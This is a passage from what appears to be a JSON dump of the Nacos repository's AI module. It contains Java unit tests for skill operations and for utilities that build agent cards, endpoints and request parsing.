testGetSkillDetailNotFound() {\n        // Given\n        String namespaceId = \"test-namespace\";\n        String skillName = \"non-existent-skill\";\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class)))\n                .thenReturn(response);\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> skillOperationService.getSkillDetail(namespaceId, skillName));\n        assertEquals(NacosException.NOT_FOUND, exception.getErrCode());\n    }\n    \n    @Test\n    void testUpdateSkillSuccessfully() throws NacosException {\n        // Given\n        Skill skill = createValidSkill();\n        String namespaceId = \"test-namespace\";\n        ConfigQueryChainResponse response = createMockConfigResponse();\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class)))\n                .thenReturn(response);\n        when(configOperationService.publishConfig(any(ConfigForm.class),\n                any(ConfigRequestInfo.class), isNull()))\n                .thenReturn(Boolean.TRUE);\n        \n        // When\n        skillOperationService.updateSkill(skill, namespaceId);\n        \n        // Then\n        ArgumentCaptor<ConfigRequestInfo> requestInfoCaptor = ArgumentCaptor.forClass(ConfigRequestInfo.class);\n        verify(configOperationService, times(1)).publishConfig(any(ConfigForm.class),\n                requestInfoCaptor.capture(), isNull());\n        assertEquals(Boolean.TRUE, requestInfoCaptor.getValue().getUpdateForExist());\n    }\n    \n    @Test\n    void testUpdateSkillNotFound() {\n        // Given\n        Skill skill = createValidSkill();\n        String namespaceId = \"test-namespace\";\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class)))\n                .thenReturn(response);\n        \n        // When & Then\n        assertThrows(NacosApiException.class,\n                () -> skillOperationService.updateSkill(skill, namespaceId));\n    }\n    \n    @Test\n    void testDeleteSkillSuccessfully() throws NacosException {\n        // Given\n        String namespaceId = \"test-namespace\";\n        String skillName = \"test-skill\";\n        ConfigQueryChainResponse response = createMockConfigResponse();\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class)))\n                .thenReturn(response);\n        \n        // When\n        skillOperationService.deleteSkill(namespaceId, skillName);\n        \n        // Then\n        verify(configOperationService, times(1)).deleteConfig(eq(\"skill.json\"),\n                eq(\"skill_\" + skillName), eq(namespaceId), isNull(), isNull(), eq(\"nacos\"), isNull());\n    }\n    \n    @Test\n    void testDeleteSkillAlreadyDeleted() throws NacosException {\n        // Given\n        String namespaceId = \"test-namespace\";\n        String skillName = \"test-skill\";\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class)))\n                .thenReturn(response);\n        \n        // When\n        skillOperationService.deleteSkill(namespaceId, skillName);\n        \n        // Then\n        verify(configOperationService, never()).deleteConfig(anyString(), anyString(),\n                anyString(), isNull(), isNull(), anyString(), isNull());\n    }\n    \n    @Test\n    void testListSkillsSuccessfully() throws NacosException {\n        // Given\n        String namespaceId = \"test-namespace\";\n        Page<ConfigInfo> configInfoPage = createMockConfigInfoPage();\n        when(configInfoPersistService.findConfigInfoLike4Page(eq(1), eq(10), eq(\"skill.json\"),\n                anyString(), eq(namespaceId), isNull()))\n                .thenReturn(configInfoPage);\n        \n        // When\n        Page<SkillBasicInfo> result = skillOperationService.listSkills(namespaceId, null, null, 1, 10);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(1, result.getPageNumber());\n        assertEquals(1, result.getPageItems().size());\n    }\n    \n    @Test\n    void testUploadSkillFromZip() throws NacosException, IOException {\n        // Given\n        String namespaceId = \"test-namespace\";\n        byte[] zipBytes = createValidZipBytes();\n        when(configOperationService.publishConfig(any(ConfigForm.class),\n                any(ConfigRequestInfo.class), isNull()))\n                .thenReturn(Boolean.TRUE);\n        \n        // When\n        String result = skillOperationService.uploadSkillFromZip(namespaceId, zipBytes);\n        \n        // Then\n        assertNotNull(result);\n        verify(configOperationService, times(1)).publishConfig(any(ConfigForm.class),\n                any(ConfigRequestInfo.class), isNull());\n    }\n    \n    /**\n     * Create a valid skill for testing.\n     */\n    private Skill createValidSkill() {\n        Skill skill = new Skill();\n        skill.setName(\"test-skill\");\n        skill.setDescription(\"Test description\");\n        skill.setInstruction(\"Test instruction\");\n        return skill;\n    }\n    \n    /**\n     * Create a skill with resources for testing.\n     */\n    private Skill createValidSkillWithResources() {\n        Skill skill = createValidSkill();\n        Map<String, SkillResource> resources = new HashMap<>();\n        SkillResource resource = new SkillResource();\n        resource.setName(\"test.sh\");\n        resource.setType(\"script\");\n        resource.setContent(\"#!/bin/bash\");\n        resources.put(\"test\", resource);\n        skill.setResource(resources);\n        return skill;\n    }\n    \n    /**\n     * Create a mock config response.\n     */\n    private ConfigQueryChainResponse createMockConfigResponse() {\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        Map<String, Object> mainConfig = new HashMap<>();\n        mainConfig.put(\"name\", \"test-skill\");\n        mainConfig.put(\"description\", \"Test description\");\n        mainConfig.put(\"instruction\", \"Test instruction\");\n        mainConfig.put(\"resource\", new HashMap<>());\n        response.setContent(JacksonUtils.toJson(mainConfig));\n        return response;\n    }\n    \n    /**\n     * Create a mock config info page.\n     */\n    private Page<ConfigInfo> createMockConfigInfoPage() {\n        Page<ConfigInfo> page = new Page<>();\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(\"skill.json\");\n        configInfo.setGroup(\"skill_test-skill\");\n        Map<String, Object> mainConfig = new HashMap<>();\n        mainConfig.put(\"name\", \"test-skill\");\n        mainConfig.put(\"description\", \"Test description\");\n        mainConfig.put(\"instruction\", \"Test instruction\");\n        mainConfig.put(\"resource\", new HashMap<>());\n        configInfo.setContent(JacksonUtils.toJson(mainConfig));\n        page.setPageItems(List.of(configInfo));\n        page.setTotalCount(1);\n        page.setPageNumber(1);\n        page.setPagesAvailable(1);\n        return page;\n    }\n    \n    /**\n     * Create valid zip bytes for testing.\n     */\n    private byte[] createValidZipBytes() throws IOException {\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try (ZipOutputStream zos = new ZipOutputStream(baos)) {\n            // Add SKILL.md\n            ZipEntry entry = new ZipEntry(\"SKILL.md\");\n            zos.putNextEntry(entry);\n            String skillMd = \"---\\n\"\n                    + \"name: test-skill\\n\"\n                    + \"description: Test skill description\\n\"\n                    + \"---\\n\\n\"\n                    + \"This is a test instruction\";\n            zos.write(skillMd.getBytes());\n            zos.closeEntry();\n        }\n        return baos.toByteArray();\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/utils/AgentCardUtilTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCapabilities;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardVersionInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentInterface;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentVersionDetail;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentCardUtilTest {\n    \n    @Test\n    void testBuildAgentCardDetailInfo() {\n        // Given\n        AgentCard agentCard = createTestAgentCard();\n        String registrationType = AiConstants.A2a.A2A_ENDPOINT_TYPE_SERVICE;\n        \n        // When\n        AgentCardDetailInfo result = AgentCardUtil.buildAgentCardDetailInfo(agentCard, registrationType);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(registrationType, result.getRegistrationType());\n        assertAgentCardEquals(agentCard, result);\n    }\n    \n    @Test\n    void testBuildAgentCardVersionInfoWithLatest() {\n        // Given\n        AgentCard agentCard = createTestAgentCard();\n        String registrationType = AiConstants.A2a.A2A_ENDPOINT_TYPE_SERVICE;\n        boolean isLatest = true;\n        \n        // When\n        AgentCardVersionInfo result = AgentCardUtil.buildAgentCardVersionInfo(agentCard, registrationType, isLatest);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(registrationType, result.getRegistrationType());\n        assertEquals(agentCard.getVersion(), result.getLatestPublishedVersion());\n        assertNotNull(result.getVersionDetails());\n        assertEquals(1, result.getVersionDetails().size());\n        \n        AgentVersionDetail versionDetail = result.getVersionDetails().get(0);\n        assertEquals(agentCard.getVersion(), versionDetail.getVersion());\n        assertTrue(versionDetail.isLatest());\n        assertNotNull(versionDetail.getCreatedAt());\n        assertNotNull(versionDetail.getUpdatedAt());\n    }\n    \n    @Test\n    void testBuildAgentCardVersionInfoWithoutLatest() {\n        // Given\n        AgentCard agentCard = createTestAgentCard();\n        String registrationType = AiConstants.A2a.A2A_ENDPOINT_TYPE_SERVICE;\n        boolean isLatest = false;\n        \n        // When\n        AgentCardVersionInfo result = AgentCardUtil.buildAgentCardVersionInfo(agentCard, registrationType, isLatest);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(registrationType, result.getRegistrationType());\n        assertNotNull(result.getVersionDetails());\n        assertEquals(1, result.getVersionDetails().size());\n        \n        AgentVersionDetail versionDetail = result.getVersionDetails().get(0);\n        assertEquals(agentCard.getVersion(), versionDetail.getVersion());\n        assertEquals(isLatest, versionDetail.isLatest());\n        assertNotNull(versionDetail.getCreatedAt());\n        assertNotNull(versionDetail.getUpdatedAt());\n    }\n    \n    @Test\n    void testBuildAgentVersionDetail() {\n        // Given\n        AgentCard agentCard = createTestAgentCard();\n        boolean isLatest = true;\n        \n        // When\n        AgentVersionDetail result = AgentCardUtil.buildAgentVersionDetail(agentCard, isLatest);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(agentCard.getVersion(), result.getVersion());\n        assertEquals(isLatest, result.isLatest());\n        assertNotNull(result.getCreatedAt());\n        assertNotNull(result.getUpdatedAt());\n    }\n    \n    @Test\n    void testUpdateUpdateTime() {\n        // Given\n        AgentVersionDetail versionDetail = new AgentVersionDetail();\n        versionDetail.setUpdatedAt(\"2023-01-01T00:00:00Z\");\n        \n        // When\n        AgentCardUtil.updateUpdateTime(versionDetail);\n        \n        // Then\n        assertNotNull(versionDetail.getUpdatedAt());\n        // We can't assert exact value since it's based on current time, but we can ensure it's not null\n    }\n    \n    @Test\n    void testBuildAgentInterfaceWithTlsSupport() {\n        // Given\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8080);\n        \n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(Constants.A2A.NACOS_AGENT_ENDPOINT_SUPPORT_TLS, \"true\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY, \"JSONRPC\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_PATH_KEY, \"/agent\");\n        instance.setMetadata(metadata);\n        \n        // When\n        AgentInterface result = AgentCardUtil.buildAgentInterface(instance);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(\"https://127.0.0.1:8080/agent\", result.getUrl());\n        assertEquals(\"JSONRPC\", result.getTransport());\n    }\n    \n    @Test\n    void testBuildAgentInterfaceWithoutTlsSupport() {\n        // Given\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8080);\n        \n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(Constants.A2A.NACOS_AGENT_ENDPOINT_SUPPORT_TLS, \"false\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY, \"JSONRPC\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_PATH_KEY, \"/agent\");\n        instance.setMetadata(metadata);\n        \n        // When\n        AgentInterface result = AgentCardUtil.buildAgentInterface(instance);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(\"http://127.0.0.1:8080/agent\", result.getUrl());\n        assertEquals(\"JSONRPC\", result.getTransport());\n    }\n    \n    @Test\n    void testBuildAgentInterfaceWithoutPath() {\n        // Given\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8080);\n        \n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(Constants.A2A.NACOS_AGENT_ENDPOINT_SUPPORT_TLS, \"false\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY, \"JSONRPC\");\n        instance.setMetadata(metadata);\n        \n        // When\n        AgentInterface result = AgentCardUtil.buildAgentInterface(instance);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(\"http://127.0.0.1:8080\", result.getUrl());\n        assertEquals(\"JSONRPC\", result.getTransport());\n    }\n    \n    @Test\n    void testBuildAgentInterfaceWithPathWithoutLeadingSlash() {\n        // Given\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8080);\n        \n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(Constants.A2A.NACOS_AGENT_ENDPOINT_SUPPORT_TLS, \"false\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY, \"JSONRPC\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_PATH_KEY, \"agent\");\n        instance.setMetadata(metadata);\n        \n        // When\n        AgentInterface result = AgentCardUtil.buildAgentInterface(instance);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(\"http://127.0.0.1:8080/agent\", result.getUrl());\n        assertEquals(\"JSONRPC\", result.getTransport());\n    }\n    \n    @Test\n    void testBuildAgentInterfaceWithProtocolField() {\n        // Given\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8080);\n        \n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(Constants.A2A.NACOS_AGENT_ENDPOINT_SUPPORT_TLS, \"false\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY, \"GRPC\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_PATH_KEY, \"/agent\");\n        metadata.put(Constants.A2A.NACOS_AGENT_ENDPOINT_PROTOCOL_KEY, \"grpc\");\n        instance.setMetadata(metadata);\n        \n        // When\n        AgentInterface result = AgentCardUtil.buildAgentInterface(instance);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(\"grpc://127.0.0.1:8080/agent\", result.getUrl());\n        assertEquals(\"GRPC\", result.getTransport());\n    }\n    \n    @Test\n    void testBuildAgentInterfaceWithQueryField() {\n        // Given\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8080);\n        \n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(Constants.A2A.NACOS_AGENT_ENDPOINT_SUPPORT_TLS, \"false\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY, \"JSONRPC\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_PATH_KEY, \"/agent\");\n        metadata.put(Constants.A2A.NACOS_AGENT_ENDPOINT_QUERY_KEY, \"param1=value1&param2=value2\");\n        instance.setMetadata(metadata);\n        \n        // When\n        AgentInterface result = AgentCardUtil.buildAgentInterface(instance);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(\"http://127.0.0.1:8080/agent?param1=value1&param2=value2\", result.getUrl());\n        assertEquals(\"JSONRPC\", result.getTransport());\n    }\n    \n    @Test\n    void testBuildAgentInterfaceWithProtocolAndQueryFields() {\n        // Given\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8080);\n        \n        Map<String, String> metadata = new HashMap<>();\n        metadata.put(Constants.A2A.NACOS_AGENT_ENDPOINT_SUPPORT_TLS, \"true\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY, \"JSONRPC\");\n        metadata.put(Constants.A2A.AGENT_ENDPOINT_PATH_KEY, \"/agent\");\n        metadata.put(Constants.A2A.NACOS_AGENT_ENDPOINT_PROTOCOL_KEY, \"https\");\n        metadata.put(Constants.A2A.NACOS_AGENT_ENDPOINT_QUERY_KEY, \"token=abc123\");\n        instance.setMetadata(metadata);\n        \n        // When\n        AgentInterface result = AgentCardUtil.buildAgentInterface(instance);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(\"https://127.0.0.1:8080/agent?token=abc123\", result.getUrl());\n        assertEquals(\"JSONRPC\", result.getTransport());\n    }\n    \n    @Test\n    void testBuildAgentInterfaceWithEmptyMetadata() {\n        // Given\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8080);\n        instance.setMetadata(Collections.emptyMap());\n        \n        // When\n        AgentInterface result = AgentCardUtil.buildAgentInterface(instance);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(\"http://127.0.0.1:8080\", result.getUrl());\n        assertEquals(null, result.getTransport());\n    }\n    \n    @Test\n    void testGetCurrentTimeDoesNotThrow() {\n        // This test ensures the private method getCurrentTime works without exceptions\n        assertDoesNotThrow(() -> {\n            // We can't directly test the private method, but we can test methods that use it\n            AgentVersionDetail versionDetail = new AgentVersionDetail();\n            AgentCardUtil.updateUpdateTime(versionDetail);\n            assertNotNull(versionDetail.getUpdatedAt());\n        });\n    }\n    \n    private AgentCard createTestAgentCard() {\n        AgentCard agentCard = new AgentCard();\n        agentCard.setProtocolVersion(\"1.0\");\n        agentCard.setName(\"test-agent\");\n        agentCard.setDescription(\"Test Agent\");\n        agentCard.setVersion(\"1.0.0\");\n        agentCard.setIconUrl(\"http://example.com/icon.png\");\n        agentCard.setCapabilities(new AgentCapabilities());\n        agentCard.setSkills(Collections.emptyList());\n        agentCard.setUrl(\"http://example.com/agent\");\n        agentCard.setPreferredTransport(\"JSONRPC\");\n        agentCard.setAdditionalInterfaces(Collections.emptyList());\n        agentCard.setDocumentationUrl(\"http://example.com/docs\");\n        agentCard.setDefaultInputModes(Collections.emptyList());\n        agentCard.setDefaultOutputModes(Collections.emptyList());\n        agentCard.setSupportsAuthenticatedExtendedCard(false);\n        return agentCard;\n    }\n    \n    private void assertAgentCardEquals(AgentCard expected, AgentCard actual) {\n        assertEquals(expected.getProtocolVersion(), actual.getProtocolVersion());\n        assertEquals(expected.getName(), actual.getName());\n        assertEquals(expected.getDescription(), actual.getDescription());\n        assertEquals(expected.getVersion(), actual.getVersion());\n        assertEquals(expected.getIconUrl(), actual.getIconUrl());\n        assertEquals(expected.getUrl(), actual.getUrl());\n        assertEquals(expected.getPreferredTransport(), actual.getPreferredTransport());\n        assertEquals(expected.getDocumentationUrl(), actual.getDocumentationUrl());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/utils/AgentEndpointUtilTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentEndpointUtilTest {\n    \n    @Test\n    void testTransferToInstance() throws NacosApiException {\n        // Given\n        AgentEndpoint endpoint = createTestAgentEndpoint();\n        \n        // When\n        Instance instance = AgentEndpointUtil.transferToInstance(endpoint);\n        \n        // Then\n        assertNotNull(instance);\n        assertEquals(endpoint.getAddress(), instance.getIp());\n        assertEquals(endpoint.getPort(), instance.getPort());\n        \n        Map<String, String> metadata = instance.getMetadata();\n        assertNotNull(metadata);\n        assertEquals(endpoint.getPath(), metadata.get(Constants.A2A.AGENT_ENDPOINT_PATH_KEY));\n        assertEquals(endpoint.getTransport(), metadata.get(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY));\n        assertEquals(String.valueOf(endpoint.isSupportTls()),\n                metadata.get(Constants.A2A.NACOS_AGENT_ENDPOINT_SUPPORT_TLS));\n        assertEquals(endpoint.getProtocol(), metadata.get(Constants.A2A.NACOS_AGENT_ENDPOINT_PROTOCOL_KEY));\n        assertEquals(endpoint.getQuery(), metadata.get(Constants.A2A.NACOS_AGENT_ENDPOINT_QUERY_KEY));\n        \n        assertDoesNotThrow(instance::validate);\n    }\n    \n    @Test\n    void testTransferToInstanceWithEmptyFields() throws NacosApiException {\n        // Given\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setAddress(\"127.0.0.1\");\n        endpoint.setPort(8080);\n        endpoint.setProtocol(\"\");\n        // Leave other fields as null/empty\n        \n        // When\n        Instance instance = AgentEndpointUtil.transferToInstance(endpoint);\n        \n        // Then\n        assertNotNull(instance);\n        assertEquals(endpoint.getAddress(), instance.getIp());\n        assertEquals(endpoint.getPort(), instance.getPort());\n        \n        Map<String, String> metadata = instance.getMetadata();\n        assertNotNull(metadata);\n        assertEquals(\"\", metadata.get(Constants.A2A.AGENT_ENDPOINT_PATH_KEY));\n        assertEquals(\"\", metadata.get(Constants.A2A.NACOS_AGENT_ENDPOINT_PROTOCOL_KEY));\n        assertEquals(\"\", metadata.get(Constants.A2A.NACOS_AGENT_ENDPOINT_QUERY_KEY));\n        \n        assertDoesNotThrow(instance::validate);\n    }\n    \n    @Test\n    void testTransferToInstanceWithGrpcProtocol() throws NacosApiException {\n        // Given\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setAddress(\"127.0.0.1\");\n        endpoint.setPort(8080);\n        endpoint.setProtocol(\"grpc\");\n        endpoint.setTransport(\"GRPC\");\n        \n        // When\n        Instance instance = AgentEndpointUtil.transferToInstance(endpoint);\n        \n        // Then\n        assertNotNull(instance);\n        assertEquals(endpoint.getAddress(), instance.getIp());\n        assertEquals(endpoint.getPort(), instance.getPort());\n        \n        Map<String, String> metadata = instance.getMetadata();\n        assertNotNull(metadata);\n        assertEquals(endpoint.getProtocol(), metadata.get(Constants.A2A.NACOS_AGENT_ENDPOINT_PROTOCOL_KEY));\n        assertEquals(endpoint.getTransport(), metadata.get(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY));\n        \n        assertDoesNotThrow(instance::validate);\n    }\n    \n    @Test\n    void testTransferToInstances() throws NacosApiException {\n        // Given\n        Collection<AgentEndpoint> endpoints = Arrays.asList(createTestAgentEndpoint(),\n                createAnotherTestAgentEndpoint());\n        \n        // When\n        List<Instance> instances = AgentEndpointUtil.transferToInstances(endpoints);\n        \n        // Then\n        assertNotNull(instances);\n        assertEquals(2, instances.size());\n        \n        Instance firstInstance = instances.get(0);\n        assertEquals(\"127.0.0.1\", firstInstance.getIp());\n        assertEquals(8080, firstInstance.getPort());\n        \n        Instance secondInstance = instances.get(1);\n        assertEquals(\"192.168.1.100\", secondInstance.getIp());\n        assertEquals(9090, secondInstance.getPort());\n        \n        // Validate all instances\n        for (Instance instance : instances) {\n            assertDoesNotThrow(instance::validate);\n        }\n    }\n    \n    @Test\n    void testTransferToInstanceWithNullEndpoint() {\n        // Given\n        AgentEndpoint endpoint = null;\n        \n        // When & Then\n        assertThrows(NullPointerException.class, () -> AgentEndpointUtil.transferToInstance(endpoint));\n    }\n    \n    @Test\n    void testTransferToInstancesWithEmptyCollection() throws NacosApiException {\n        // Given\n        Collection<AgentEndpoint> endpoints = Arrays.asList();\n        \n        // When\n        List<Instance> instances = AgentEndpointUtil.transferToInstances(endpoints);\n        \n        // Then\n        assertNotNull(instances);\n        assertTrue(instances.isEmpty());\n    }\n    \n    private AgentEndpoint createTestAgentEndpoint() {\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setTransport(\"JSONRPC\");\n        endpoint.setAddress(\"127.0.0.1\");\n        endpoint.setPort(8080);\n        endpoint.setPath(\"/agent\");\n        endpoint.setSupportTls(true);\n        endpoint.setVersion(\"1.0.0\");\n        endpoint.setProtocol(\"https\");\n        endpoint.setQuery(\"param1=value1&param2=value2\");\n        return endpoint;\n    }\n    \n    private AgentEndpoint createAnotherTestAgentEndpoint() {\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setTransport(\"GRPC\");\n        endpoint.setAddress(\"192.168.1.100\");\n        endpoint.setPort(9090);\n        endpoint.setPath(\"/grpc-agent\");\n        endpoint.setSupportTls(false);\n        endpoint.setVersion(\"2.0.0\");\n        endpoint.setProtocol(\"http\");\n        endpoint.setQuery(\"token=abc123\");\n        return endpoint;\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/utils/AgentRequestUtilTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardForm;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCapabilities;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.remote.request.AbstractAgentRequest;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass AgentRequestUtilTest {\n    \n    @Test\n    void testParseAgentCardSuccessfully() throws NacosApiException {\n        // Given\n        AgentCardForm agentCardForm = new AgentCardForm();\n        AgentCard agentCard = createValidAgentCard();\n        String agentCardJson = JacksonUtils.toJson(agentCard);\n        agentCardForm.setAgentCard(agentCardJson);\n        \n        // When\n        AgentCard result = AgentRequestUtil.parseAgentCard(agentCardForm);\n        \n        // Then\n        assertNotNull(result);\n        assertEquals(agentCard.getName(), result.getName());\n        assertEquals(agentCard.getVersion(), result.getVersion());\n        assertEquals(agentCard.getProtocolVersion(), result.getProtocolVersion());\n        assertEquals(agentCard.getPreferredTransport(), result.getPreferredTransport());\n        assertEquals(agentCard.getUrl(), result.getUrl());\n        assertEquals(agentCard.getDescription(), result.getDescription());\n    }\n    \n    @Test\n    void testParseAgentCardWithInvalidJson() {\n        // Given\n        AgentCardForm agentCardForm = new AgentCardForm();\n        agentCardForm.setAgentCard(\"{ invalid json }\");\n        \n        // When & Then\n        assertThrows(NacosApiException.class, () -> AgentRequestUtil.parseAgentCard(agentCardForm));\n    }\n    \n    @Test\n    void testValidateAgentCardWithValidCard() {\n        // Given\n        AgentCard agentCard = createValidAgentCard();\n        \n        // When & Then\n        assertDoesNotThrow(() -> AgentRequestUtil.validateAgentCard(agentCard));\n    }\n    \n    @Test\n    void testValidateAgentCardWithMissingName() {\n        // Given\n        AgentCard agentCard = createValidAgentCard();\n        agentCard.setName(null);\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> AgentRequestUtil.validateAgentCard(agentCard));\n        assertEquals(\"Required parameter `agentCard.name` not present\", exception.getMessage());\n    }\n    \n    @Test\n    void testValidateAgentCardWithEmptyName() {\n        // Given\n        AgentCard agentCard = createValidAgentCard();\n        agentCard.setName(\"\");\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> AgentRequestUtil.validateAgentCard(agentCard));\n        assertEquals(\"Required parameter `agentCard.name` not present\", exception.getMessage());\n    }\n    \n    @Test\n    void testValidateAgentCardWithMissingVersion() 